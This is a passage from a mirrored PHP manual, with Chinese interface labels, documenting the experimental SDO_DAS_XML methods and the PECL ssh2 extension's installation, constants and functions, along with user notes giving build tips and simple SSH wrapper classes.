Returns whether the xml declaration is set or not. TRUE If it is set and FALSE if it is not.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getSchemaLocation | 上一级 | SDO_DAS_XML_Document::getXMLVersion


SDO_DAS_XML_Document::getXMLVersion

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getXMLVersion -- Returns xml declaration string.

说明

string SDO_DAS_XML_Document::getXMLVersion ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns xml declaration string.

参数

返回值

Returns xml declaration string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getXMLDeclaration | 上一级 | SDO_DAS_XML_Document::setEncoding


SDO_DAS_XML_Document::setEncoding

(no version information, might be only in CVS)

SDO_DAS_XML_Document::setEncoding -- Sets the given string as encoding.

说明

void SDO_DAS_XML_Document::setEncoding ( string encoding )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Sets the given string as encoding.

参数

encoding

Encoding string.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getXMLVersion | 上一级 | SDO_DAS_XML_Document::setNoNamespaceSchemaLocation


SDO_DAS_XML_Document::setNoNamespaceSchemaLocation

(no version information, might be only in CVS)

SDO_DAS_XML_Document::setNoNamespaceSchemaLocation -- Sets the given string as no namespace schema location.

说明

void SDO_DAS_XML_Document::setNoNamespaceSchemaLocation ( string nnschemaLocation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Sets the given string as no namespace schema location.

参数

nnschemaLocation

no namespace schema location.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::setEncoding | 上一级 | SDO_DAS_XML_Document::setSchemaLocation


SDO_DAS_XML_Document::setSchemaLocation

(no version information, might be only in CVS)

SDO_DAS_XML_Document::setSchemaLocation -- Sets the given string as schema location.

说明

void SDO_DAS_XML_Document::setSchemaLocation ( string schemaLocation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Sets the given string as schema location.

参数

schemaLocation

schema location.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::setNoNamespaceSchemaLocation | 上一级 | SDO_DAS_XML_Document::setXMLDeclaration


SDO_DAS_XML_Document::setXMLDeclaration

(no version information, might be only in CVS)

SDO_DAS_XML_Document::setXMLDeclaration -- Sets the xml declaration.

说明

void SDO_DAS_XML_Document::setXMLDeclaration ( bool xmlDeclatation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Sets the given given boolean value for xml declaration. Pass TRUE to set it and FLASE to not to unset it.

参数

xmlDeclatation

boolean value to set the XML declaration.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::setSchemaLocation | 上一级 | SDO_DAS_XML_Document::setXMLVersion


SDO_DAS_XML_Document::setXMLVersion

(no version information, might be only in CVS)

SDO_DAS_XML_Document::setXMLVersion -- Sets the given string as xml version.

说明

void SDO_DAS_XML_Document::setXMLVersion ( string xmlVersion )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Sets the given string as xml version.

参数

xmlVersion

xml version string.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::setXMLDeclaration | 上一级 | SDO_DAS_XML::create


SDO_DAS_XML::create

(no version information, might be only in CVS)

SDO_DAS_XML::create -- To create SDO_DAS_XML object for a given schema file.

说明

SDO_DAS_XML SDO_DAS_XML::create ( string xsd_file )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This is the only static method of SDO_DAS_XML class. Used to instantiate SDO_DAS_XML object.

参数

xsd_file

Path to XSD Schema file.

返回值

Returns SDO_DAS_XML object on success otherwise throws an exception as described below.

异常

SDO_TypeNotFoundException

Thrown if a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any symantical problems while parsing the given XSD File.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::setXMLVersion | 上一级 | SDO_DAS_XML::createDataObject


SDO_DAS_XML::createDataObject

(no version information, might be only in CVS)

SDO_DAS_XML::createDataObject -- Creates SDO_DataObject for a given namespace URI and type name.

说明

SDO_DataObject SDO_DAS_XML::createDataObject ( string namespace_uri, string type_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Creates SDO_DataObject for a given namespace URI and type name. The type should be defined in the underlying model otherwise SDO_TypeNotFoundException will be thrown.

参数

namespace_uri

Namespace URI of the type name.

type_name

Type Name.

返回值

Returns SDO_DataObject on success.

异常

SDO_TypeNotFoundException

Thrown if a type is not defined in the underlying model.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::create | 上一级 | SDO_DAS_XML::loadFromFile


SDO_DAS_XML::loadFromFile

(no version information, might be only in CVS)

SDO_DAS_XML::loadFromFile -- Returns SDO_DAS_XML_Document object for a given path to xml instance document.

说明

SDO_XMLDocument SDO_DAS_XML::loadFromFile ( string xml_file )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Constructs the tree of SDO_DataObjects from the given address to xml instance document. Returns SDO_DAS_XML_Document Object. Use SDO_DAS_XML_Document::getRootDataObject method to get root data object.

参数

xml_file

Path to Instance document. This can be a path to a local file or it can be a URL.

返回值

Returns SDO_DAS_XML_Document object on Success or throws exception as described.

异常

SDO_TypeNotFoundException

Thrown if a type is not defined by the underlying model.

SDO_PropertyNotFoundException

Thrown if the a property within a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any symantical problems while parsing the given XSD File.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::createDataObject | 上一级 | SDO_DAS_XML::loadFromString


SDO_DAS_XML::loadFromString

(no version information, might be only in CVS)

SDO_DAS_XML::loadFromString -- Returns SDO_DAS_XML_Document for a given xml instance string.

说明

SDO_DAS_XML_Document SDO_DAS_XML::loadFromString ( string xml_string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Constructs the tree of SDO_DataObjects from the given xml instance string. Returns SDO_DAS_XML_Document Object. Use SDO_DAS_XML_Document::getRootDataObject method to get root data object.

参数

xml_string

xml string.

返回值

Returns SDO_DAS_XML_Document object on Success or throws exception as described.

异常

SDO_TypeNotFoundException

Thrown if a type is not defined by the underlying model.

SDO_PropertyNotFoundException

Thrown if the a property within a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any problems while parsing the given XSD File.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::loadFromFile | 上一级 | SDO_DAS_XML::saveDataObjectToFile


SDO_DAS_XML::saveDataObjectToFile

(no version information, might be only in CVS)

SDO_DAS_XML::saveDataObjectToFile -- Saves the SDO_DataObject object to File.

说明

void SDO_DAS_XML::saveDataObjectToFile ( SDO_DataObject do, string root_uri, string root_name, string xml_file )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Saves the SDO_DataObject object as an XML File.

参数

do

DataObject, which needs to be saves as an XML File.

root_uri

URI string for the root DataObject.

root_name

Type name of the root DataObject.

返回值

None.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::loadFromString | 上一级 | SDO_DAS_XML::saveDataObjectToString


SDO_DAS_XML::saveDataObjectToString

(no version information, might be only in CVS)

SDO_DAS_XML::saveDataObjectToString -- Saves the SDO_DataObject object to string.

说明

string SDO_DAS_XML::saveDataObjectToString ( SDO_DataObject do, string root_uri, string root_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Saves the SDO_DataObject object as an XML string.

参数

do

DataObject, which needs to be saves as an XML File.

root_uri

URI string for the root DataObject.

root_name

Type name of the root DataObject.

返回值

xml string

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::saveDataObjectToFile | 上一级 | SDO_DAS_XML::saveDocumentToFile


SDO_DAS_XML::saveDocumentToFile

(no version information, might be only in CVS)

SDO_DAS_XML::saveDocumentToFile -- Saves the SDO_DAS_XML_Document object to a file.

说明

void SDO_DAS_XML::saveDocumentToFile ( SDO_XMLDocument xdoc, string xml_file )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Saves the SDO_DAS_XML_Document object to a file.

参数

xdoc

SDO_DAS_XML_Document object.

xml_file

xml file.

返回值

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::saveDataObjectToString | 上一级 | SDO_DAS_XML::saveDocumentToString


SDO_DAS_XML::saveDocumentToString

(no version information, might be only in CVS)

SDO_DAS_XML::saveDocumentToString -- Saves the SDO_DAS_XML_Document object to a string.

说明

string SDO_DAS_XML::saveDocumentToString ( SDO_XMLDocument xdoc )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Saves the SDO_DAS_XML_Document object to string.

参数

xdoc

SDO_DAS_XML_Document object.

返回值

xml string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML::saveDocumentToFile | 上一级 | Secure Shell2 Functions


Secure Shell2 Functions

PHP 手册
后退 前进

CXXVIII. Secure Shell2 Functions

简介

Bindings to the libssh2 library which provide access to resources (shell, remote exec, tunneling, file transfer) on a remote machine using a secure cryptographic transport.

安装

Windows binaries may be found at http://snaps.php.net/. To install, download php_ssh2.dll to the folder specified by your php.ini file's extension_dir directive. Enable it by adding extension=php_ssh2.dll to your php.ini and restarting your webserver.

extension_dir=c:/php5/exts/
extension=php_ssh2.dll

Linux, BSD, and other *nix variants can be compiled using the following steps:

  • Download and install OpenSSL. If you install OpenSSL via your distribution's packaging system be sure to install the development libraries as well. This will typically be a package named openssl-dev, openssl_devel, or some variation thereof.

  • Download and install libssh2. Typically this means executing the following command from the libssh2 source tree. ./configure && make all install.

  • Run the pear installer for PECL/ssh2: pear install ssh2

  • Copy ssh2.so from the directory indicated by the build process to the location specified in your php.ini file under extension_dir.

  • Add extension=ssh2.so to your php.ini

  • Restart your webserver to reload your php.ini settings.

Development Versions: There are currently no stable versions of PECL/ssh2, to force installation of the beta version of PECL/ssh2 execute: pear install ssh2-beta

Compiling PECL/ssh2 without using the PEAR command: Rather than using pear install ssh2 to automatically download and install PECL/ssh2, you may download the tarball from PECL. From the root of the unpacked tarball, run: phpize && ./configure --with-ssh2 && make to generate ssh2.so. Once built, continue the installation from step 4 above.

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/ssh2.

注: You will need version 0.4 or greater of the libssh2 library (possibly higher, see release notes).

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SSH2_FINGERPRINT_MD5 (integer)

Flag to ssh2_fingerprint() requesting hostkey fingerprint as an MD5 hash.

SSH2_FINGERPRINT_SHA1 (integer)

Flag to ssh2_fingerprint() requesting hostkey fingerprint as an SHA1 hash.

SSH2_FINGERPRINT_HEX (integer)

Flag to ssh2_fingerprint() requesting hostkey fingerprint as a string of hexits.

SSH2_FINGERPRINT_RAW (integer)

Flag to ssh2_fingerprint() requesting hostkey fingerprint as a raw string of 8-bit characters.

SSH2_TERM_UNIT_CHARS (integer)

Flag to ssh2_shell() specifying that width and height are provided as character sizes.

SSH2_TERM_UNIT_PIXELS (integer)

Flag to ssh2_shell() specifying that width and height are provided in pixel units.

SSH2_DEFAULT_TERM_WIDTH (integer)

Default terminal width requested by ssh2_shell().

SSH2_DEFAULT_TERM_HEIGHT (integer)

Default terminal height requested by ssh2_shell().

SSH2_DEFAULT_TERM_UNIT (integer)

Default terminal units requested by ssh2_shell().

SSH2_STREAM_STDIO (integer)

Flag to ssh2_fetch_stream() requesting STDIO subchannel.

SSH2_STREAM_STDERR (integer)

Flag to ssh2_fetch_stream() requesting STDERR subchannel.

SSH2_DEFAULT_TERMINAL (string)

Default terminal type (e.g. vt102, ansi, xterm, vanilla) requested by ssh2_shell().

目录
ssh2_auth_hostbased_file -- Authenticate using a public hostkey
ssh2_auth_none -- Authenticate as "none"
ssh2_auth_password -- Authenticate over SSH using a plain password
ssh2_auth_pubkey_file -- Authenticate using a public key
ssh2_connect -- Connect to an SSH server
ssh2_exec -- Execute a command on a remote server
ssh2_fetch_stream -- Fetch an extended data stream
ssh2_fingerprint -- Retreive fingerprint of remote server
ssh2_methods_negotiated -- Return list of negotiated methods
ssh2_publickey_add -- Add an authorized publickey
ssh2_publickey_init -- Initialize Publickey subsystem
ssh2_publickey_list -- List currently authorized publickeys
ssh2_publickey_remove -- Remove an authorized publickey
ssh2_scp_recv -- Request a file via SCP
ssh2_scp_send -- Send a file via SCP
ssh2_sftp_lstat -- Stat a symbolic link
ssh2_sftp_mkdir -- Create a directory
ssh2_sftp_readlink -- Return the target of a symbolic link
ssh2_sftp_realpath -- Resolve the realpath of a provided path string
ssh2_sftp_rename -- Rename a remote file
ssh2_sftp_rmdir -- Remove a directory
ssh2_sftp_stat -- Stat a file on a remote filesystem
ssh2_sftp_symlink -- Create a symlink
ssh2_sftp_unlink -- Delete a file
ssh2_sftp -- Initialize SFTP subsystem
ssh2_shell -- Request an interactive shell
ssh2_tunnel -- Open a tunnel through a remote server

add a note add a note User Contributed Notes
stevec at carbondesignsystems dot com
06-Jun-2006 12:57
I couldn't get `pear install ssh2-beta` to work, so I tried the manual installation.  I followed the instructions:

phpize && ./configure --with-ssh2 && make
Copy ssh2.so from the directory indicated by the build process to the location specified in your php.ini file under extension_dir.

When I restarted Apache, I got:
PHP Warning:  Unknown(): Invalid library (maybe not a PHP library) 'ssh2.so'  in Unknown on line 0

To fix the problem, I ran `make install`, instead of copying ssh2.so into the extension directory.
Mike <esnik8202 at sneakemail dot com>
27-Mar-2006 01:08
To slightly correct the directory listing code below....

<?php
$connection = ssh2_connect("hostname", 22);
  // use any of the ssh2_auth_* methods
ssh2_auth_password($connection,"username", "password");
$sftp = ssh2_sftp($connection);
$dir = "ssh2.sftp://$sftp/path/to/dir/";
$dh = opendir($dir);
while (($file = readdir($dh)) !== false) {
  echo "$file is in hostname:/path/to/dir\ n";
}
closedir($dh);
?>

(thanks to Sara for assisting)
dotwho at NSPM dot mac dot com
05-Oct-2005 06:15
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 2:

11) Check your shell's path variable by SHELL$ "echo $PATH".
If your php5 binary directory is not listed before the standard OS X binary directory,
update your $PATH variable to list it first. Mine reads:
/usr/local/mysql/bin/: /usr/local/php5/bin/: /bin:/sbin: /usr/bin:/usr/sbin
11a) if you do not do this step, the PECL extension will link against the old
php4 version that ships with Mac OS X. You will know this by the fact that the
next step lists a server API that is different than the output of phpinfo():
My version was 20041030, Apples version was 20020429.
12) Run: phpize && ./configure --with-ssh2 && make
This will produce a lot of output and probably some warnings. If you get a note
at the end that says "Build Complete", then the process has completed
(probably successfully). The command has produced the output file ssh2.so within
the ssh2-0.9 (or whatever version) directory.
13) Check where the extension directory is located at by running the following command:
SHELL$/usr/local/php5/bin/php-config --extension-dir
If it lists some directory that actually exists, copy the ssh2.so file to this directory.
If it doesn't list a location that exists, you can either create the location, or
choose a different location and update the line in your php.ini file:
extension_dir = "./"
to point to the directory you would like to use. I chose:
extension_dir = "/usr/local/php5/extensions/"?>
14) Add the line
extension=ssh2.so
to the Dynamic Extensions area of your php.ini file.
15) Restart your web server for the extensioin to be loaded. If there are any problems, they will be written to the webserver log.
16) Check if your new ssh based streams are available by running:
SHELL$ /usr/local/php5/bin/php -r "print_r(stream_get_wrappers());"
You should get something similar to this output:
Array
(
   [0] => php
   [1] => file
   [2] => http
   [3] => ftp
   [4] => compress.bzip2
   [5] => compress.zlib
   [6] => https
   [7] => ftps
   [8] => ssh2.shell
   [9] => ssh2.exec
   [10] => ssh2.tunnel
   [11] => ssh2.scp
   [12] => ssh2.sftp
)
You should now be able to do all the cool things you need to do with ssh
(like sftp scp ssh execution)! Take a look at some of the comment here for some
example scripts to test things out:
http://us2.php.net/manual/en/ref.ssh2.php

Good luck... hope that saves you my headache! :)
dotwho at NSPM dot mac dot com
05-Oct-2005 06:12
Trying to compile this ssh PECL extension for Mac OS X (10.4.2)
with entropy.ch's php5 distribution? Read on: PART 1:
1) Download libssh (I used version 0.11)
http://sourceforge.net/project/showfiles.php?group_id=125852
2) Unzip the directory and cd to the upacked directory in the terminal.
3) run: ./configure; make all install;
libssh should compile and place the output file in src/*.o
4) copy all headers from the include folder within the libssh2 directory to
/usr/local/include/
5) copy all compiled files (*.o) from the src folder within the libssh2
directory to /usr/local/lib/
6) Download ssh2
(I used version 0.9 with additional changes from cvs - explained below)
http://pecl.php.net/package/ssh2
7) unzip the downloaded archive.
8) version 0.9 has a conflict with an existing symbol used in some of the ZEND headers...
a change is available in cvs which renames the symbol in ssh2 to avoid the conflict
http://cvs.php.net/diff.php/pecl/ssh2/ssh2.c?r1=1.9&r2=1.10&ty=h
down load at least the 1.10 version of ssh2.c
if you decide to download a newer version, download any of the corresponding related files,
such as the php_ssh2.h header file.
9) replace the old version of ssh2.c with the new version of ssh2.c
(and any other files you downloaded).
10) From the terminal:
cd to the source directory (for me ssh2-0.9/ssh2-0.9/).

(Continued in a PART 2 comment)
jr at cnb dot uam dot es
27-May-2005 10:29
OK, the SSH class I wrote is now available for free on the Net.

The class uses an underlying SSH implementation, and hence does not require any library to be compiled against.

It is available at savannah.cer.ch as a byproduct of project GridGramm (look in the downloads section). There are two releases available, the first one establishes a connection for each command, having a serious authentication overhead. The second release shares a master connection, highly reducing auth payload, but requires openssh >= 3.8.

They are also available from the development site at

http://savannah.cern.ch/projects/gridgramm

and come with extensive documentation and examples.

These are work in progress, and I hope to add more enhancements in the close future. But you are welcome to use them now.
add a note add a note

后退 | 起点 | 前进
SDO_DAS_XML::saveDocumentToString | 上一级 | ssh2_auth_hostbased_file


ssh2_auth_hostbased_file

(PECL)

ssh2_auth_hostbased_file -- Authenticate using a public hostkey

Description

bool ssh2_auth_hostbased_file ( resource session, string username, string hostname, string pubkeyfile, string privkeyfile [, string passphrase [, string local_username]] )

Authenticate using a public hostkey read from a file. If privkeyfile is encrypted (which it should be), the passphrase must be provided. If local_username is omitted, then the value for username will be used for it.

例子 1. Authentication using a public hostkey

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_hostbased_file($connection, 'remoteusername', 'myhost.example.com',
                             '/usr/local/etc/hostkey_rsa.pub',
                             '/usr/local/etc/hostkey_rsa', 'secret',
                             'localusername')) {
  echo "Public Key Hostbased Authentication Successful\n";
} else {
  die('Public Key Hostbased Authentication Failed');
}
?>

注: ssh2_auth_hostbased_file() requires libssh2 >= 0.7 and PHP/SSH2 >= 0.7

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Secure Shell2 Functions | 上一级 | ssh2_auth_none


ssh2_auth_none

(PECL)

ssh2_auth_none -- Authenticate as "none"

Description

mixed ssh2_auth_none ( resource session, string username )

Attempt "none" authentication which usually will (and should) fail. As part of the failure, this function will return an array of accepted authentication methods. If the server does accept "none" as an authentication method for username, this function will simply return TRUE.

例子 1. Using ssh2_auth_none() to retreive a list of authentication methods.

<?php
$connection = ssh2_connect('shell.example.com', 22);

$auth_methods = ssh2_auth_none($connection, 'user');

if (in_array('password', $auth_methods)) {
  echo "Server supports password based authentication\n";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ssh2_auth_hostbased_file | 上一级 | ssh2_auth_password


ssh2_auth_password

(PECL)

ssh2_auth_password -- Authenticate over SSH using a plain password

Description

bool ssh2_auth_password ( resource session, string username, string password )

Authenticate over SSH using a plain password

例子 1. Authenticating with a password

<?php
$connection = ssh2_connect('shell.example.com', 22);

if (ssh2_auth_password($connection, 'username', 'secret')) {
  echo "Authentication Successful!\n";
} else {
  die('Authentication Failed...');
}
?>

add a note add a note User Contributed Notes
noels01 at gmx dot net
30-Aug-2005 02:34
Hey, the start for a PEAR SSH2 package! The code is available under the GNU GPL ;-)
<?php

class SSH2
{
   private $con;
   private $host;
   private $port;
   private $login;

   public function __construct($host=NULL, $port=22)
   {
       $this->host = $host;
       $this->port = $port;

       $this->con = ssh2_connect($this->host, $this->port);
       // connection attempt successful ?
       if($this->con === false)
       {
           $this->con = NULL;
           throw new SSH2Exception("Could not connect to host '".$this->host."' on port ".$this->port);
       }
   }

   public function login($login=NULL, $password=NULL)
   {
       if(empty($login)) {
           throw new IllegalArgumentException("Login failed, no username supplied");
       }
       $this->login = $login;

       // try to log in
       if(!ssh2_auth_password($this->con, $this->login, $password))
       {
           $this->con = NULL;
           throw new SSH2Exception("Password authentication failed for user '".$this->login."'");
       }
   }

   // returns an array like: array('stdout goes here', 'stderr')
   public function exec($cmd)
   {
       if(empty($this->con)) {
           throw new SSH2Exception("Exec failed, no connection available");
       }
       // execute the command
       $stdio  = ssh2_exec($this->con, $cmd);
       // get the error stream, otherwise this would be lost
       $stderr = ssh2_fetch_stream ($stdio, SSH2_STREAM_STDERR);
       // set to blocking mode or we won't get any data
       stream_set_blocking($stdio, true);

       $data_std = '';
       $data_err = '';
       // let's fetch the result of our command
       while($data = fread($stdio, 131072)) {
       //while($data = fgets($stdio)) {
           $data_std .= $data;
       }
       while($data = fread($stderr, 80000)) {
           $data_err .= $data;
       }
       // close the streams
       fclose($stdio);
       fclose($stderr);

       return array($data_std, $data_err);
   }
}

class SSH2Exception extends Exception {}
class IllegalArgumentException extends Exception {}

?>
noels01 at gmx dot net
29-Aug-2005 08:56
Do not try to authenticate or log in more than once on a ssh2 connection. It won't work. You'll need a new connection via ssh2_connect() which will result in a poor performance if you're doing several connects to the same server.
06-Jun-2005 10:49
The sshd you are trying to connect to requires PasswordAuthentication yes in its sshd_config file.

Most normal SSH features work with this off, but this requires it on. Note, this defaults to off in FreeBSD 5.x
add a note add a note

后退 | 起点 | 前进
ssh2_auth_none | 上一级 | ssh2_auth_pubkey_file


ssh2_auth_pubkey_file

(PECL)

ssh2_auth_pubkey_file -- Authenticate using a public key

Description

bool ssh2_auth_pubkey_file ( resource session, string username, string pubkeyfile, string privkeyfile [, string passphrase] )

Authenticate using a public key read from a file. If privkeyfile is encrypted (which it should be), the passphrase must be provided.

例子 1. Authentication using a public key

<?php
$connection = ssh2_connect('shell.example.com', 22, array('hostkey'=>'ssh-rsa'));

if (ssh2_auth_pubkey_file($connection, 'username',
                          '/home/username/.ssh/id_rsa.pub',
                          '/home/username/.ssh/id_rsa', 'secret')) {
  echo "Public Key Authentication Successful\n";
} else {
  die('Public Key Authentication Failed');
}
?>

add a note add a note User Contributed Notes
andyc at opensense dot com
06-Jun-2006 07:48
The key files need to be in OpenSSH's format.

For example the pubkey file should look like this:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAo6uBphcbl
5iS7U0fjE1ZJ8ZPqYwezFbxyN13YYucrFDCbln9Q6S33lN
JMYKUY4711qzDOxQD0bratDQfHUl4waT35qI+NRQa2
B+UWHYaOhbt5FI0Ks7JXPxj3iJ/+joiKQW3Bj8eH8Nzg
sTx4tEVPD6QOHs682OhUNX6sqSnHA8= rsa-key-20060606
add a note add a note

后退 | 起点 | 前进
ssh2_auth_password | 上一级 | ssh2_connect


ssh2_connect

(PECL)

ssh2_connect -- Connect to an SSH server

Description

resource ssh2_connect ( string host [, int port [, array methods [, array callbacks]]] )

Establish a connection to a remote SSH server and return a resource on success, FALSE on error.

methods may be an associative array with up to four parameters as described below.

表格 1. methods may be an associative array with any or all of the following parameters.

Index | Meaning | Supported Values*
kex | List of key exchange methods to advertise, comma separated in order of preference. | diffie-hellman-group1-sha1, diffie-hellman-group14-sha1, and diffie-hellman-group-exchange-sha1
hostkey | List of hostkey methods to advertise, come separated in order of preference. | ssh-rsa and ssh-dss
client_to_server | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from client to server. |
server_to_client | Associative array containing crypt, compression, and message authentication code (MAC) method preferences for messages sent from client to server. |

* - Supported Values are dependent on methods supported by underlying library. See libssh2 documentation for additional information.

表格 2. client_to_server and server_to_client may be an associative array with any or all of the following parameters.

Index | Meaning | Supported Values*
crypt | List of crypto methods to advertise, comma separated in order of preference. | rijndael-cbc@lysator.liu.se, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, arcfour, and none**
comp | List of compression methods to advertise, comma separated in order of preference. | zlib and none
mac | List of MAC methods to advertise, come separated in order of preference. | hmac-sha1, hmac-sha1-96, hmac-ripemd160, hmac-ripemd160@openssh.com, and none**

Crypt and MAC method "none": For security reasons, none is disabled by the underlying libssh2 library unless explicitly enabled during build time by using the appropriate ./configure options. See documentation for the underlying library for more information.

表格 3. callbackss may be an associative array with any or all of the following parameters.

Index | Meaning | Prototype
ignore | Name of function to call when an SSH2_MSG_IGNORE packet is received | void ignore_cb($message)
debug | Name of function to call when an SSH2_MSG_DEBUG packet is received | void debug_cb($message, $language, $always_display)
macerror | Name of function to call when a packet is received but the message authentication code failed. If the callback returns TRUE, the mismatch will be ignored, otherwise the connection will be terminated. | bool macerror_cb($packet)
disconnect | Name of function to call when an SSH2_MSG_DISCONNECT packet is received | void disconnect_cb($reason, $message, $language)

例子 1. Open a connection forcing 3des-cbc when sending packets, any strength aes cipher when receiving packets, no compression in either direction, and Group1 key exchange.

<?php
/* Notify the user if the server terminates the connection */
function my_ssh_disconnect($reason, $message, $language) {
  printf("Server disconnected with reason code [%d] and message: %s\n",
         $reason, $message);
}

$methods = array(
  'kex' => 'diffie-hellman-group1-sha1',
  'client_to_server' => array(
    'crypt' => '3des-cbc',
    'comp' => 'none'),
  'server_to_client' => array(
    'crypt' => 'aes256-cbc,aes192-cbc,aes128-cbc',
    'comp' => 'none'));

$callbacks = array('disconnect' => 'my_ssh_disconnect');

$connection = ssh2_connect('shell.example.com', 22, $methods, $callbacks);
if (!$connection) die('Connection failed');
?>

Once connected, the client should verify the server's hostkey using ssh2_fingerprint(), then authenticate using either password or public key.

See Also:
ssh2_fingerprint(),
ssh2_auth_none(),
ssh2_auth_password(), and
ssh2_auth_pubkey_file()

add a note add a note User Contributed Notes
suri dot suribala dot com
24-Feb-2005 09:00
With Sara's help, I have the following SS2 class that is quite flexible. If anyone improves it, please feel free to let me know.

<?php

// ssh protocols
// note: once openShell method is used, cmdExec does not work

class ssh2 {

  private $host = 'host';
  private $user = 'user';
  private $port = '22';
  private $password = 'password';
  private $con = null;
  private $shell_type = 'xterm';
  private $shell = null;
  private $log = '';

  function __construct($host='', $port=''  ) {

     if( $host!='' ) $this->host  = $host;
     if( $port!='' ) $this->port  = $port;

     $this->con  = ssh2_connect($this->host, $this->port);
     if( !$this->con ) {
       $this->log .= "Connection failed !";
     }

  }

  function authPassword( $user = '', $password = '' ) {

     if( $user!='' ) $this->user  = $user;
     if( $password!='' ) $this->password  = $password;

     if( !ssh2_auth_password( $this->con, $this->user, $this->password ) ) {
       $this->log .= "Authorization failed !";
     }

  }

  function openShell( $shell_type = '' ) {

       if ( $shell_type != '' ) $this->shell_type = $shell_type;
   $this->shell = ssh2_shell( $this->con,  $this->shell_type );
   if( !$this->shell ) $this->log .= " Shell connection failed !";

  }

  function writeShell( $command = '' ) {

   fwrite($this->shell, $command."\n");

  }

  function cmdExec( ) {

       $argc = func_num_args();
       $argv = func_get_args();

   $cmd = '';
   for( $i=0; $i<$argc ; $i++) {
       if( $i != ($argc-1) ) {
         $cmd .= $argv[$i]." && ";
       }else{
         $cmd .= $argv[$i];
       }
   }
   echo $cmd;

       $stream = ssh2_exec( $this->con, $cmd );
   stream_set_blocking( $stream, true );
   return fread( $stream, 4096 );

  }

  function getLog() {

     return $this->log;

  }

}

?>
add a note add a note

后退 | 起点 | 前进
ssh2_auth_pubkey_file | 上一级 | ssh2_exec


ssh2_exec

(PECL)

ssh2_exec -- Execute a command on a remote server

Description

resource ssh2_exec ( resource session, string command [, string pty [, array env [, int width [, int height [, int width_height_type]]]]] )

Execute a command at the remote end and allocate a channel for it. Returns a stream on success or FALSE on failure.

